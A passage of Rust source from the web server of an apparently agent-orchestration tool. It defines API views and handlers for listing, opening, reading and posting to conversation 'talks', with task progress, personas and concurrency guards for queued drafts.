9036            .turns
9037            .iter()
9038            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039            .collect();
9040        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041            .turns
9042            .iter()
9043            .map(|turn| {
9044                if turn.messages.is_empty() {
9045                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046                } else {
9047                    turn.messages
9048                        .iter()
9049                        .map(|message| {
9050                            notice_markdown(
9051                                message.sender.unwrap_or(talk::Sender::Operator),
9052                                &message.body,
9053                                message.display.as_ref(),
9054                            )
9055                        })
9056                        .collect()
9057                }
9058            })
9059            .collect();
9060        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061            .pending_messages
9062            .iter()
9063            .map(|message| {
9064                notice_markdown(
9065                    message.sender.unwrap_or(talk::Sender::Operator),
9066                    &message.body,
9067                    message.display.as_ref(),
9068                )
9069            })
9070            .collect();
9071        for nodes in &mut turn_bodies_md {
9072            references.markdown(nodes);
9073        }
9074        for nodes in turn_messages_md
9075            .iter_mut()
9076            .flatten()
9077            .chain(pending_messages_md.iter_mut())
9078            .flatten()
9079        {
9080            references.markdown(nodes);
9081        }
9082        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083        let persona_name = persona::find(specs, &talk.persona)
9084            .filter(|p| !p.is_default())
9085            .map(|p| p.name);
9086        let mut avatar_persona = persona::find(specs, &talk.persona)
9087            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088        // A removed configured persona may still have an override and old talks.
9089        if avatar_persona.id != talk.persona
9090            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091        {
9092            avatar_persona.id.clone_from(&talk.persona);
9093            avatar_persona.icon = None;
9094        }
9095        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096        let approvals_store = ask::Questions::at(home.join("questions"));
9097        let merge_approvals = talk
9098            .notified
9099            .iter()
9100            .filter_map(|key| key.strip_prefix("question:"))
9101            .filter_map(|id| approvals_store.get(id).ok())
9102            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103            .filter_map(|q| {
9104                Some(ChatApproval {
9105                    question: q.id,
9106                    target: q.merge_target?,
9107                })
9108            })
9109            .collect();
9110        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111        Self {
9112            turn_bodies_md,
9113            turn_messages_md,
9114            pending_messages_md,
9115            merge_approvals,
9116            thinking,
9117            context,
9118            operator_name,
9119            persona_name,
9120            persona_avatar,
9121            magi_avatar: magi_icon_url(home),
9122            operator_avatar: operator_icon_url(home),
9123            talk,
9124        }
9125    }
9126}
9127
9128/// Parse only the user-facing representation of an explicitly identified MAGI send.
9129fn notice_markdown(
9130    sender: talk::Sender,
9131    body: &str,
9132    display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134    if sender != talk::Sender::Magi {
9135        return None;
9136    }
9137    let text = if let Some(display) = display {
9138        display.facts.as_str()
9139    } else {
9140        // Unknown completion templates may contain internal directives. Never
9141        // promote their agent input to the Markdown display surface.
9142        if crate::prompt::is_completion_notice(body)
9143            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144        {
9145            return None;
9146        }
9147        body.strip_prefix("magi: ").unwrap_or(body)
9148    };
9149    Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9153/// conversation has filed, so the phone can follow one from inside the
9154/// conversation that asked for it rather than hunting the Queue for a task id
9155/// it may not remember.
9156#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158    #[serde(flatten)]
9159    view: TalkView,
9160    tasks: Vec<TaskView>,
9161    task_progress: TalkTaskProgress,
9162    goal_link: Option<TalkGoalLink>,
9163    goal_link_for: Timestamp,
9164    /// The agents this talk's repository can switch to; empty when its
9165    /// configuration cannot be read, which must not fail the whole detail.
9166    roster: Vec<RosterEntry>,
9167    /// The personas the conversation can pick from. The built-ins are always
9168    /// listed, even when the repository's configuration cannot be read.
9169    personas: Vec<PersonaEntry>,
9170}
9171
9172/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9173#[derive(Debug, Serialize)]
9174struct TalkTaskProgress {
9175    state: &'static str,
9176    total: usize,
9177    done: usize,
9178    counts: std::collections::BTreeMap<&'static str, usize>,
9179    unfinished_ids: Vec<String>,
9180}
9181
9182fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9183    let mut counts = std::collections::BTreeMap::from([
9184        ("queued", 0),
9185        ("running", 0),
9186        ("done", 0),
9187        ("failed", 0),
9188        ("held", 0),
9189        ("blocked", 0),
9190        ("parked", 0),
9191    ]);
9192    let mut unfinished_ids = Vec::new();
9193    for task in tasks {
9194        *counts.entry(task.status.as_str()).or_default() += 1;
9195        if task.status != TaskStatus::Done {
9196            unfinished_ids.push(task.id.clone());
9197        }
9198    }
9199    TalkTaskProgress {
9200        state: if tasks.is_empty() {
9201            "none"
9202        } else if unfinished_ids.is_empty() {
9203            "complete"
9204        } else {
9205            "incomplete"
9206        },
9207        total: tasks.len(),
9208        done: tasks.len() - unfinished_ids.len(),
9209        counts,
9210        unfinished_ids,
9211    }
9212}
9213
9214/// A target must still belong to an explicitly referenced, same-repository
9215/// task. Missing/deleted records leave the goal readable.
9216#[derive(Debug, Serialize)]
9217struct TalkGoalLink {
9218    goal: String,
9219    kind: &'static str,
9220    id: String,
9221}
9222
9223fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9224    let goal = talk
9225        .selected_goal
9226        .as_ref()
9227        .and_then(|id| talk.goals.iter().find(|goal| &goal.id == id))
9228        .or_else(|| talk.goals.last())?;
9229    for id in goal.tasks.iter().rev() {
9230        if !plain_record_id(id) {
9231            continue;
9232        }
9233        let Ok(task) = queue.get(id) else {
9234            continue;
9235        };
9236        if task.id != *id || task.repo != talk.repo {
9237            continue;
9238        }
9239        // Repository reassignments retain historical runs. Only this task's
9240        // current execution can be presented as the goal's current Run.
9241        if let Some(run) = task.execution_runs().last()
9242            && plain_record_id(run)
9243            && read_run(runs, run).is_ok_and(|state| state.id == *run && state.repo == talk.repo)
9244        {
9245            return Some(TalkGoalLink {
9246                goal: goal.id.clone(),
9247                kind: "run",
9248                id: run.clone(),
9249            });
9250        }
9251        return Some(TalkGoalLink {
9252            goal: goal.id.clone(),
9253            kind: "task",
9254            id: task.id,
9255        });
9256    }
9257    None
9258}
9259
9260/// One persona as the talk's persona selector shows it.
9261#[derive(Debug, Serialize)]
9262struct PersonaEntry {
9263    id: String,
9264    name: String,
9265    /// Avatar URL, see [`TalkView::persona_avatar`].
9266    avatar: String,
9267}
9268
9269/// One roster agent as the talk's agent selector shows it.
9270#[derive(Debug, Serialize)]
9271struct RosterEntry {
9272    id: String,
9273    kind: AgentKind,
9274    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9275    runnable: bool,
9276}
9277
9278/// Bounded summaries; `/page` carries a cursor for older membership.
9279async fn talks_list(
9280    State(ui): State<Arc<Ui>>,
9281    Query(q): Query<ListQuery>,
9282    headers: header::HeaderMap,
9283) -> ApiResult<Json<Vec<TalkListView>>> {
9284    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9285        let limit = q.limit.unwrap_or(50).min(50);
9286        let ids = if let Some(ids) = q.ids {
9287            ids.split(',')
9288                .filter(|id| plain_record_id(id))
9289                .take(limit)
9290                .map(str::to_owned)
9291                .collect()
9292        } else {
9293            page_ids(&ui, true, PageQuery::default())?
9294                .0
9295                .into_iter()
9296                .take(limit.min(STORE_PAGE_SIZE))
9297                .collect()
9298        };
9299        Ok(Json(talk_rows(&ui, ids, &headers)))
9300    })
9301    .await
9302}
9303
9304/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9305/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9306/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9307/// end still opens a talk against an older binary.
9308#[derive(Debug, Default, Deserialize)]
9309#[serde(default)]
9310struct NewTalk {
9311    agent: Option<String>,
9312    repo: Option<PathBuf>,
9313    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9314    /// wrong type is dropped like a stale value instead of failing the request;
9315    /// each falls back to its default on its own (see [`talk::begin_with`]).
9316    preferred_agent: Option<serde_json::Value>,
9317    persona: Option<serde_json::Value>,
9318    implementers: Option<serde_json::Value>,
9319}
9320
9321/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9322/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9323async fn talk_post(
9324    State(ui): State<Arc<Ui>>,
9325    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9326) -> ApiResult<impl IntoResponse> {
9327    // An absent body, or an empty one, is the normal way to open a talk - see
9328    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9329    // rather than refused.
9330    let body = match body {
9331        Ok(Json(body)) => body,
9332        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9333        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9334    };
9335    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9336    let cfg = config_for(&repo).await?;
9337    let view = blocking(move || {
9338        let preferred = talk::Preferred {
9339            agent: body
9340                .preferred_agent
9341                .as_ref()
9342                .and_then(|v| v.as_str())
9343                .map(str::to_owned),
9344            persona: body
9345                .persona
9346                .as_ref()
9347                .and_then(|v| v.as_str())
9348                .map(str::to_owned),
9349            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9350        };
9351        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9352        let thinking = ui.is_thinking(&talk.id);
9353        Ok(TalkView::new(talk, thinking, &ui))
9354    })
9355    .await?;
9356    Ok((StatusCode::CREATED, Json(view)))
9357}
9358
9359/// Transcript first: unrelated queue history and repository probes are deferred.
9360async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9361    // Keep transcript reads independent of sections and the runtime blocking pool.
9362    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9363        let id = resolve_talk(&ui.talks, &id)?;
9364        let talk = ui.talks.get(&id)?;
9365        let thinking = ui.is_thinking_observed(&id);
9366        // The browser already resolves Markdown text/code references after
9367        // rendering. A cold reference/review index must not gate the transcript.
9368        Ok(Json(TalkView::with_references(
9369            talk,
9370            thinking,
9371            None,
9372            &ui.home,
9373            &id_links::IdIndex::default(),
9374        )))
9375    })
9376    .await
9377}
9378
9379async fn talk_sections(
9380    State(ui): State<Arc<Ui>>,
9381    Path(id): Path<String>,
9382) -> ApiResult<Json<serde_json::Value>> {
9383    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9384        let id = resolve_talk(&ui.talks, &id)?;
9385        let talk = ui.talks.get(&id)?;
9386        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9387        let task_progress = talk_task_progress(&tasks);
9388        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9389        let tasks: Vec<_> = tasks
9390            .into_iter()
9391            .map(|task| {
9392                serde_json::json!({
9393                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9394                })
9395            })
9396            .collect();
9397        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9398        let roster: Vec<_> = cfg
9399            .as_ref()
9400            .map(|cfg| {
9401                cfg.agents
9402                    .iter()
9403                    .map(|a| RosterEntry {
9404                        id: a.id.clone(),
9405                        kind: a.kind,
9406                        runnable: agent::installed(a),
9407                    })
9408                    .collect()
9409            })
9410            .unwrap_or_default();
9411        let specs = cfg
9412            .as_ref()
9413            .map(|cfg| cfg.talk.personas.clone())
9414            .unwrap_or_default();
9415        let personas: Vec<_> = persona::catalog(&specs)
9416            .into_iter()
9417            .map(|p| PersonaEntry {
9418                avatar: avatar_url(&ui.home, &talk.id, &p),
9419                id: p.id,
9420                name: p.name,
9421            })
9422            .collect();
9423        let active_persona = persona::find(&specs, &talk.persona)
9424            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9425        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9426        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9427        Ok(Json(serde_json::json!({
9428            "tasks": tasks, "task_progress": task_progress,
9429            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9430            "roster": roster, "personas": personas,
9431            "context": talk::context_usage(&talk, cfg.as_ref()),
9432            "context_for": talk.updated_at,
9433            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9434            "persona_name": persona_name,
9435            "persona_avatar": persona_avatar,
9436        })))
9437    })
9438    .await
9439}
9440
9441/// `GET /api/talks/{id}`.
9442async fn talk_detail(
9443    State(ui): State<Arc<Ui>>,
9444    Path(id): Path<String>,
9445) -> ApiResult<Json<TalkDetailView>> {
9446    blocking(move || {
9447        let id = resolve_talk(&ui.talks, &id)?;
9448        let talk = ui.talks.get(&id)?;
9449        let thinking = ui.is_thinking_observed(&talk.id);
9450        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9451        let task_progress = talk_task_progress(&tasks);
9452        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9453        let goal_link_for = talk.updated_at;
9454        let tasks = tasks.into_iter().map(TaskView::from).collect();
9455        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9456        let roster = cfg
9457            .as_ref()
9458            .map(|cfg| {
9459                cfg.agents
9460                    .iter()
9461                    .map(|a| RosterEntry {
9462                        id: a.id.clone(),
9463                        kind: a.kind,
9464                        runnable: agent::installed(a),
9465                    })
9466                    .collect()
9467            })
9468            .unwrap_or_default();
9469        let specs = cfg
9470            .as_ref()
9471            .map(|cfg| cfg.talk.personas.clone())
9472            .unwrap_or_default();
9473        let personas = persona::catalog(&specs)
9474            .into_iter()
9475            .map(|p| PersonaEntry {
9476                avatar: avatar_url(&ui.home, &talk.id, &p),
9477                id: p.id,
9478                name: p.name,
9479            })
9480            .collect();
9481        Ok(Json(TalkDetailView {
9482            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9483            tasks,
9484            task_progress,
9485            goal_link,
9486            goal_link_for,
9487            roster,
9488            personas,
9489        }))
9490    })
9491    .await
9492}
9493
9494/// The body of `POST /api/talks/{id}/say`.
9495///
9496/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9497/// returned - never bytes of its own - so a turn with no images just omits
9498/// the field, which is what an older front end still does.
9499#[derive(Debug, Default, Deserialize)]
9500#[serde(default, deny_unknown_fields)]
9501struct NewTalkTurn {
9502    reply_to: Option<talk::ReplyTarget>,
9503    text: String,
9504    attachments: Vec<String>,
9505}
9506
9507#[derive(Debug, Deserialize)]
9508#[serde(deny_unknown_fields)]
9509struct EditTalkPending {
9510    #[serde(default)]
9511    message: Option<usize>,
9512    text: String,
9513    expected_text: String,
9514    expected_attachments: Vec<String>,
9515}
9516
9517#[derive(Debug, Deserialize)]
9518#[serde(deny_unknown_fields)]
9519struct ClearTalkPending {
9520    expected_text: String,
9521    expected_attachments: Vec<String>,
9522}
9523
9524/// `POST /api/talks/{id}/say` - one turn of the conversation.
9525///
9526/// Not filesystem work, and therefore not routed through [`blocking`]: this
9527/// route spawns an agent CLI and a turn here can run for the whole of
9528/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9529/// research turn is expected to run commands rather than answer from what it
9530/// already knows. Holding an HTTP connection open that long is not a thing
9531/// to ask a phone to do; the operator's message is recorded and answered for
9532/// immediately, and the reply lands in the background, discovered through
9533/// the change stream's `talks_rev` the same way every other update on this
9534/// surface is.
9535async fn talk_say(
9536    State(ui): State<Arc<Ui>>,
9537    Path(id): Path<String>,
9538    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9539) -> ApiResult<(StatusCode, Json<TalkView>)> {
9540    let admission = ui.begin_admission()?;
9541    admitted(admission, async move {
9542    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9543    if body.text.trim().is_empty() && body.attachments.is_empty() {
9544        return Err(ApiError::bad_request("say something"));
9545    }
9546
9547    let id = {
9548        let ui = Arc::clone(&ui);
9549        let asked = id.clone();
9550        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9551    };
9552    // A closed Talk never accepts a new immediate or queued turn. Check this
9553    // before claiming a slot so its ordinary domain refusal is a 409, not an
9554    // incidental failure from the later record/queue write.
9555    {
9556        let ui = Arc::clone(&ui);
9557        let id = id.clone();
9558        blocking(move || {
9559            let talk = ui.talks.get(&id)?;
9560            if !talk.status.open() {
9561                return Err(ApiError::conflict(format!(
9562                    "talk {} is {} and takes no more turns",
9563                    talk.short(),
9564                    talk.status.as_str()
9565                )));
9566            }
9567            Ok(())
9568        })
9569        .await?;
9570    }
9571
9572    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9573    // actually stores, before anything is written - an unknown id is a 4xx
9574    // that names it rather than a turn (or a queued draft) silently missing
9575    // an image.
9576    let attachments = {
9577        let ui = Arc::clone(&ui);
9578        let id = id.clone();
9579        let ids = body.attachments.clone();
9580        blocking(move || {
9581            ids.into_iter()
9582                .map(|att_id| {
9583                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9584                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9585                    })
9586                })
9587                .collect::<ApiResult<Vec<talk::Attachment>>>()
9588        })
9589        .await?
9590    };
9591    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9592        .await.map_err(ApiError::from)?;
9593
9594    // Pending recovery and a new immediate turn are decided under the same
9595    // claim lock. Without that one critical section, a second `/say` can see
9596    // the first request's claim as "busy" and append itself to the recovered
9597    // draft before the first request rejects it.
9598    let start = {
9599        let ui = Arc::clone(&ui);
9600        let id = id.clone();
9601        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9602    };
9603    let turn_guard = match start {
9604        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9605        TalkTurnStart::Pending => {
9606            return Err(ApiError::conflict(
9607                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9608            ));
9609        }
9610        TalkTurnStart::Foreign => {
9611            return Err(ApiError::conflict(
9612                "a turn is already running in another process; try again when it has finished",
9613            ));
9614        }
9615        TalkTurnStart::Busy => {
9616            // A turn is already running: queue rather than refuse. See
9617            // `Ui::begin_talk_turn` and `talk::queue`.
9618            //
9619            // The queue write and the drain it may owe live inside the task
9620            // `tokio::spawn` hands to the runtime, for the same reason the
9621            // immediate path below puts `record` there: a dropped handler
9622            // future must not be able to land between a durable write and
9623            // the task that answers it. `blocking` runs its closure on
9624            // `spawn_blocking`, which finishes whether or not anyone is left
9625            // to receive its result - so a disconnect at the `.await` below
9626            // would otherwise leave the draft persisted and the reclaimed
9627            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9628            // ever started and the queued text stranded until some later
9629            // `say` happened to pick it up. The caller's 202 travels back
9630            // over a `oneshot`, sent the moment the write lands.
9631            let (tx, rx) = tokio::sync::oneshot::channel();
9632            tokio::spawn({
9633                let ui = Arc::clone(&ui);
9634                let id = id.clone();
9635                let said = body.text.clone();
9636                let reply_to = body.reply_to.clone();
9637                async move {
9638                    let written = blocking({
9639                        let ui = Arc::clone(&ui);
9640                        let id = id.clone();
9641                        move || {
9642                            let mut talk = ui.talks.get(&id)?;
9643                            // A test-only stop point, right before the write
9644                            // an interleaving test needs to pin - see
9645                            // `BusyQueueGate`. `None` in every real server:
9646                            // the field only exists under `#[cfg(test)]`.
9647                            #[cfg(test)]
9648                            if let Some(gate) = ui
9649                                .busy_queue_gate
9650                                .lock()
9651                                .unwrap_or_else(PoisonError::into_inner)
9652                                .take()
9653                            {
9654                                let _ = gate.reached.send(());
9655                                let _ = gate.release.recv();
9656                            }
9657                            if let Err(error) = talk::queue_reply(
9658                                &mut talk,
9659                                &ui.talks,
9660                                &said,
9661                                attachments,
9662                                reply_to,
9663                            ) {
9664                                if let Ok(fresh) = ui.talks.get(&id) {
9665                                    if !fresh.status.open() {
9666                                        return Err(ApiError::conflict(format!(
9667                                            "talk {} is {} and takes no more turns",
9668                                            fresh.short(),
9669                                            fresh.status.as_str()
9670                                        )));
9671                                    }
9672                                }
9673                                return Err(
9674                                    if error.to_string().contains("invalid reply target") {
9675                                        ApiError::bad_request("invalid reply target")
9676                                    } else {
9677                                        ApiError::from(error)
9678                                    },
9679                                );
9680                            }
9681                            // The turn that looked busy a moment ago can have
9682                            // finished, found nothing to drain and given up the
9683                            // slot in the gap between that check and this write
9684                            // landing - see `drain_loop`'s own doc for the other
9685                            // half of why that gap would otherwise be able to
9686                            // open at all. Reclaiming the slot here, rather than
9687                            // trusting that whoever held it is still watching, is
9688                            // what stops the text just queued from being stranded
9689                            // until an unrelated future `say` happens to drain
9690                            // it.
9691                            let claim = match ui.begin_queued_talk_turn(&id)? {
9692                                Some(turn_guard) => {
9693                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9694                                    Some((talk.clone(), cfg, turn_guard))
9695                                }
9696                                None => None,
9697                            };
9698                            let thinking = ui.is_thinking(&id);
9699                            Ok((TalkView::new(talk, thinking, &ui), claim))
9700                        }
9701                    })
9702                    .await;
9703                    #[cfg(not(test))]
9704                    {
9705                        match written {
9706                            Ok((view, reclaimed)) => {
9707                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9708                                drop(reclaimed);
9709                                match launched {
9710                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9711                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9712                                }
9713                            }
9714                            Err(error) => { let _ = tx.send(Err(error)); }
9715                        }
9716                    }
9717                    #[cfg(test)]
9718                    {
9719                    let (view, reclaimed) = match written {
9720                        Ok(pair) => pair,
9721                        Err(e) => {
9722                            // Nobody is listening if the handler's own future
9723                            // was already dropped - that is fine, nothing was
9724                            // persisted and there is no response left to carry
9725                            // this error to.
9726                            let _ = tx.send(Err(e));
9727                            return;
9728                        }
9729                    };
9730                    // If this fails, the caller is gone; the drain below still
9731                    // runs exactly as it would have for a caller that stayed.
9732                    let _ = tx.send(Ok(view));
9733                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9734                        let talks = ui.talks.clone();
9735                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9736                    }
9737                    }
9738                }
9739            });
9740            let view = rx
9741                .await
9742                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9743            return Ok((StatusCode::ACCEPTED, Json(view)));
9744        }
9745    };
9746
9747    let (talk, cfg) = {
9748        let ui = Arc::clone(&ui);
9749        let id = id.clone();
9750        blocking(move || {
9751            let talk = ui.talks.get(&id)?;
9752            let (cfg, _) = Config::discover(&talk.repo, None)?;
9753            Ok((talk, cfg))
9754        })
9755        .await?
9756    };
9757
9758    let talks = ui.talks.clone();
9759    // `record` runs *inside* the spawned task, rather than in this handler
9760    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9761    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9762    // doc), and that drop can land at any `.await` this function makes,
9763    // including one that has already produced its result but not yet
9764    // resumed. A message could end up recorded on disk with the handler
9765    // future gone before it ever reached the `tokio::spawn` that would have
9766    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9767    // that hands the whole future to the runtime as one unit - once made, no
9768    // later drop of *this* handler's own future (that call's return value is
9769    // never held onto here) can reach back in and stop it, so record and the
9770    // hand-off to `respond` are unconditionally atomic from the client's
9771    // point of view. The immediate response this handler owes the caller
9772    // travels back over a `oneshot`, sent the moment `record` succeeds.
9773    let (tx, rx) = tokio::sync::oneshot::channel();
9774    tokio::spawn({
9775        #[cfg(test)]
9776        let ui = Arc::clone(&ui);
9777        let talks = talks.clone();
9778        let id = id.clone();
9779        let said = body.text.clone();
9780        let reply_to = body.reply_to.clone();
9781        let mut talk = talk.clone();
9782        async move {
9783            let recorded = blocking({
9784                let talks = talks.clone();
9785                move || {
9786                    if let Err(error) =
9787                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9788                    {
9789                        if let Ok(fresh) = talks.get(&talk.id) {
9790                            if !fresh.status.open() {
9791                                return Err(ApiError::conflict(format!(
9792                                    "talk {} is {} and takes no more turns",
9793                                    fresh.short(),
9794                                    fresh.status.as_str()
9795                                )));
9796                            }
9797                        }
9798                        return Err(if error.to_string().contains("invalid reply target") {
9799                            ApiError::bad_request("invalid reply target")
9800                        } else {
9801                            ApiError::from(error)
9802                        });
9803                    }
9804                    // `record` mutates `talk` in place to the freshly persisted
9805                    // state (status, pending, and the just-appended operator
9806                    // turn), so returning it here is equivalent to re-reading it
9807                    // from disk - without the extra round trip a re-read would
9808                    // need.
9809                    Ok((said.trim().to_owned(), talk))
9810                }
9811            })
9812            .await;
9813            let (text, talk) = match recorded {
9814                Ok(pair) => pair,
9815                Err(e) => {
9816                    // Nobody is listening if the handler's own future was
9817                    // already dropped - that is fine, there is no response
9818                    // left to carry this error to and nothing was persisted.
9819                    let _ = tx.send(Err(e));
9820                    return;
9821                }
9822            };
9823            #[cfg(not(test))]
9824            {
9825                let _ = (&cfg, &text);
9826                // The reservation becomes durable while this process still
9827                // holds the talk lease. The child waits for that lease; the
9828                // new UI sees its startup reservation immediately.
9829                let result = crate::chat_worker::spawn_recorded_turn(
9830                    &talks, &id, talk.turns.len() - 1,
9831                ).await;
9832                drop(turn_guard);
9833                match result {
9834                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9835                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9836                }
9837            }
9838            #[cfg(test)]
9839            {
9840            let queued = talk.clone();
9841            let mut talk = talk;
9842            let thinking = ui.is_thinking(&id);
9843            // If this fails, the caller is gone; the turn still runs below
9844            // exactly as it would have for a caller that stayed connected.
9845            let _ = tx.send(Ok((queued, thinking)));
9846
9847            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9848                // `respond` records the failure in the transcript itself,
9849                // which is what the phone reads; this line is for the
9850                // operator's terminal.
9851                tracing::warn!("talk {id} turn failed: {e:#}");
9852            }
9853            // Anything `talk::queue` added while the turn above was running
9854            // is still owed an answer - see `drain_loop`.
9855            drain_loop(talk, talks, cfg, id, turn_guard).await;
9856            }
9857        }
9858    });
9859
9860    let (queued, thinking) = rx
9861        .await
9862        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9863
9864    // 202: the operator's message is recorded and a turn is running.
9865    Ok((
9866        StatusCode::ACCEPTED,
9867        Json(TalkView::new(queued, thinking, &ui)),
9868    ))
9869    }).await
9870}
9871
9872/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9873/// changing it. The turn guard is the same per-talk ownership `talk_say`
9874/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9875async fn talk_pending_resume(
9876    State(ui): State<Arc<Ui>>,
9877    Path(id): Path<String>,
9878) -> ApiResult<(StatusCode, Json<TalkView>)> {
9879    let admission = ui.begin_admission()?;
9880    admitted(admission, async move {
9881        let id = {
9882            let ui = Arc::clone(&ui);
9883            let asked = id.clone();
9884            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9885        };
9886        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9887            .await
9888            .map_err(ApiError::from)?;
9889        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9890            return Err(ApiError::conflict(
9891                "a talk turn is already running; the queued draft will be handled by it",
9892            ));
9893        };
9894        let (talk, cfg) = {
9895            let ui = Arc::clone(&ui);
9896            let id = id.clone();
9897            blocking(move || {
9898                let talk = ui.talks.get(&id)?;
9899                if !talk.status.open() {
9900                    return Err(ApiError::conflict(format!(
9901                        "talk {} is {} and takes no more turns",
9902                        talk.short(),
9903                        talk.status.as_str()
9904                    )));
9905                }
9906                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9907                    return Err(ApiError::conflict("there is no queued draft to resume"));
9908                }
9909                let (cfg, _) = Config::discover(&talk.repo, None)?;
9910                Ok((talk, cfg))
9911            })
9912            .await?
9913        };
9914        let view = TalkView::new(talk.clone(), true, &ui);
9915        let talks = ui.talks.clone();
9916        #[cfg(not(test))]
9917        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9918        #[cfg(test)]
9919        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9920        Ok((StatusCode::ACCEPTED, Json(view)))
9921    })
9922    .await
9923}
9924
9925/// Hand off an admitted draft while retaining the talk lease until its
9926/// detached startup reservation is durable.
9927#[cfg(not(test))]
9928async fn detach_talk_turn(
9929    _talk: Talk,
9930    talks: Talks,
9931    _cfg: Config,
9932    id: String,
9933    turn: TalkTurnGuard,
9934) -> ApiResult<()> {
9935    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9936    drop(turn);
9937    launched.map(|_| ()).map_err(ApiError::from)
9938}
9939
9940#[cfg(test)]
9941async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9942    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9943}
9944
9945/// A settings response must not report idle while its claim is still held.
9946/// Wait until the first drain either releases the claim or promotes a draft.
9947/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9948async fn settle_settings_turn(
9949    talk: Talk,
9950    talks: Talks,
9951    cfg: Config,
9952    id: String,
9953    turn: TalkTurnGuard,
9954    observed: u64,
9955) -> bool {
9956    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9957        let turns = Arc::clone(&turn.turns);
9958        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
